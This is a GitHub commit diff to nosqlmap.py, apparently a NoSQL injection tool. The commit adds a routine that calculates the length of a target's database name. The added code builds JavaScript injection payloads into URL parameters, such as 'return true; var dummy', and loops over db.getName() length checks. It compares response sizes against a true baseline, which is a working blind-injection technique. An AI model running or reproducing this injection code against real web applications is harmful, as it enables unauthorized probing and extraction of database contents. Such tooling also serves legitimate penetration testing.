Skip to content

Commit 3b0c02a

Browse files
committed
Added DB name length calculation
1 parent dd2915a commit 3b0c02a

File tree

1 file changed

+27
-3
lines changed

1 file changed

+27
-3
lines changed

nosqlmap.py

Lines changed: 27 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -795,7 +795,7 @@ def buildUri(origUri, randValue):
795795
paramName = []
796796
paramValue = []
797797
global uriArray
798-
uriArray = ["","","","","","","","","","","","","","","","",""]
798+
uriArray = ["","","","","","","","","","","","","","","","","",""]
799799
injOpt = ""
800800

801801
#Split the string between the path and parameters, and then split each parameter
@@ -868,7 +868,7 @@ def buildUri(origUri, randValue):
868868
uriArray[14] += paramName[x] + "a'; return true; var dum=a'"
869869
uriArray[15] += paramName[x] + "1; return true; var dum=2"
870870
#Add values that can be manipulated for database attacks
871-
uriArray[16] += paramName[x] + "=a\"; if ---"
871+
uriArray[16] += paramName[x] + "=a\'; ---"
872872
uriArray[17] += paramName[x] + "=1; if ---"
873873

874874
else:
@@ -1073,9 +1073,33 @@ def brute_pass(user,key):
10731073
return ""
10741074

10751075
def getDBInfo():
1076+
curLen = 0
1077+
nameLen = 0
1078+
gotNameLen = False
1079+
gotDbName = False
1080+
gotColLen = False
1081+
gotColName = False
10761082
print "Getting baseline True query return size..."
1077-
trueUri = uriArray[17].replace("---","a\'; return True; var dummy ='!")
1083+
trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&")
1084+
print "Debug " + str(trueUri)
1085+
baseLen = int(len(urllib.urlopen(trueUri).read()))
1086+
print "Got baseline true query length of " + str(baseLen)
1087+
10781088

10791089
print "Calculating DB name length..."
10801090

1091+
while gotNameLen == False:
1092+
calcUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.length ==" + str(curLen) + ") {return true;} vardum='a" + "&")
1093+
print "Debug: " + calcUri
1094+
lenUri = int(len(urllib.urlopen(calcUri).read()))
1095+
print "Debug length: " + str(lenUri)
1096+
1097+
if lenUri == baseLen:
1098+
print " Got database name length of " + str(curLen) + " characters."
1099+
gotNameLen = True
1100+
1101+
else:
1102+
curLen += 1
1103+
raw_input("Press enter to continue...")
1104+
10811105
mainMenu()

0 commit comments

Comments
 (0)